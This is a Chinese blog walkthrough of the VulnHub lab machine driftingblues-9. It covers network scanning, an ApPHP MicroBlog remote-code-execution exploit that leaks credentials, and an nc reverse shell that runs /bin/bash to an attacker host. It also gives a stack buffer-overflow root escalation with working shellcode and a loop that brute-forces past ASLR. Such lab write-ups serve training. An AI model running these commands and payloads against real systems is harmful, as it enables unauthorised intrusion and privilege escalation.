vulnhub靶机:driftingblues-9

本文详细介绍了网络渗透测试中的关键步骤,包括使用Nmap进行主机发现和端口扫描,arp-scan的使用,以及通过漏洞利用(如远程代码执行)获取权限的过程。涉及ASLR、GDB和Metasploit等技术在提权和绕过安全机制中的应用。
摘要由CSDN通过智能技术生成

一:信息收集

1:主机发现

arp-scan -I eth0 10.9.23.0/24

nmap命令是一个网络扫描工具,用于发现主机和服务,并进行端口扫描等操作。以下是nmap命令的一些常用参数:

  1. -sS:使用TCP SYN扫描方式进行端口扫描

  2. -sU:使用UDP扫描方式进行端口扫描

  3. -sV:对发现的服务进行版本检测

  4. -O:进行操作系统检测

  5. -A:进行操作系统检测、版本检测和脚本扫描

  6. -p <port ranges>:指定要扫描的端口范围

  7. -T<0-5>:设置扫描速度,0为最慢,5为最快

  8. -v:显示详细信息

  9. -oN <file>:将扫描结果保存到文件中

  10. --script=<script name>:运行指定的Nmap脚本

arp-scan命令用于扫描本地网络中的主机,并显示其MAC地址和IP地址等信息。以下是一些常用的arp-scan命令参数:

  1. -l:显示本地网络中的主机列表

  2. -I <interface>:指定要扫描的网络接口

  3. -r <net_range>:指定要扫描的IP地址范围

  4. -q:以安静模式运行,只显示结果而不显示进度信息

  5. -x <mac_address>:排除指定的MAC地址

  6. -t <timeout>:设置超时时间

  7. -T <delay>:设置扫描之间的延迟时间

  8. -v:显示详细信息

2:端口扫描

nmap -T4 -sV -p- -A 10.9.23.57

3:端口探测

查看源码

发现提示,说这个脚本由 ApPHP MicroBlog v.1.0.1 生成,搜索一下有没有相关漏洞

searchsploit ApPHP MicroBlog 1.0.1

searchsploit -u #更新漏洞库

存在远程代码执行漏洞

下载查看脚本33070.py

searchsploit -m 33070.py -m 后面跟需要下载的脚本

尝试运行一下:

python2 33070.py http://10.9.23.57/index.php

**USERNAME:clapton PASSWORD:yaraklitepe

发现可以用,并且获得了数据库的用户名和密码

二:渗透测试

1:反弹shell

which nc 发现靶机存在nc

kali 开启 nc 监听:nc -lvp 6666

shell 执行:nc 10.9.23.112 6666 -e /bin/bash

使用命令交互shell:python -c 'import pty;pty.spawn("/bin/bash")'

切换用户clapton

查看note.txt发现提示给的存在缓冲区溢出,并且给了两个案例:

2:提权

将input文件下载到本地

scp input root@10.9.23.112:/root

赋予执行权限:

chmod +x input

关掉本地的ASLR进行测试,先禁用 ASLR,然后在 gdb 中加载二进制文件:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input

ASLR(Address Space Layout Randomization)是一种用于增强操作系统和应用程序的安全性的技术。它通过在每次运行时随机化内存布局,使得攻击者难以预测关键数据结构和函数的确切位置,从而减少了针对内存缓冲区溢出等攻击的成功率。ASLR可以有效地阻止许多常见的攻击技术,提高系统的安全性。

GDB(GNU Debugger)是一个功能强大的开源调试工具,用于帮助开发人员调试程序并查找程序中的错误。它可以在多种操作系统上运行,包括Linux、Unix和Windows等。GDB允许开发人员在程序执行过程中暂停、检查程序状态、查看变量的值、跟踪函数调用等,从而帮助开发人员定位和解决程序中的bug。GDB还支持多种编程语言,包括C、C++、Java等。开发人员可以通过GDB来提高程序的稳定性和可靠性。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000

将生成的字符串用命令 r 在 gdb 中运行二进制文件:

r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

在 0x41376641 处得到了错误,计算一下偏移量:

./pattern_offset.rb -q 0x41376641

计算出偏移量是 171,用 python 构造字符串:

r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')

查看ESP寄存器的值:

x/s $esp

用esp 寄存器的 0xffffcfc0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:

r $(python -c 'print("A" * 171 + "\xc0\xcf\xff\xff" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

利用构造的payload在本地进行测试,成功获得root权限,命令:r $(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')。

3:靶机验证

切换到home目录下

gdb -q input

run $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 1000 )')

x/s $esp

读取下靶机中的esp值,获得:0xbf8c7610,替换掉上面kali payload中的esp值。

r $(python2 -c 'print("A" * 171 + "\x10\x76\x8c\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

因为靶机启用了 ASLR,没有权限关闭,所以写个循环:

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x76\x8c\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

靶机结束

  • 17
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值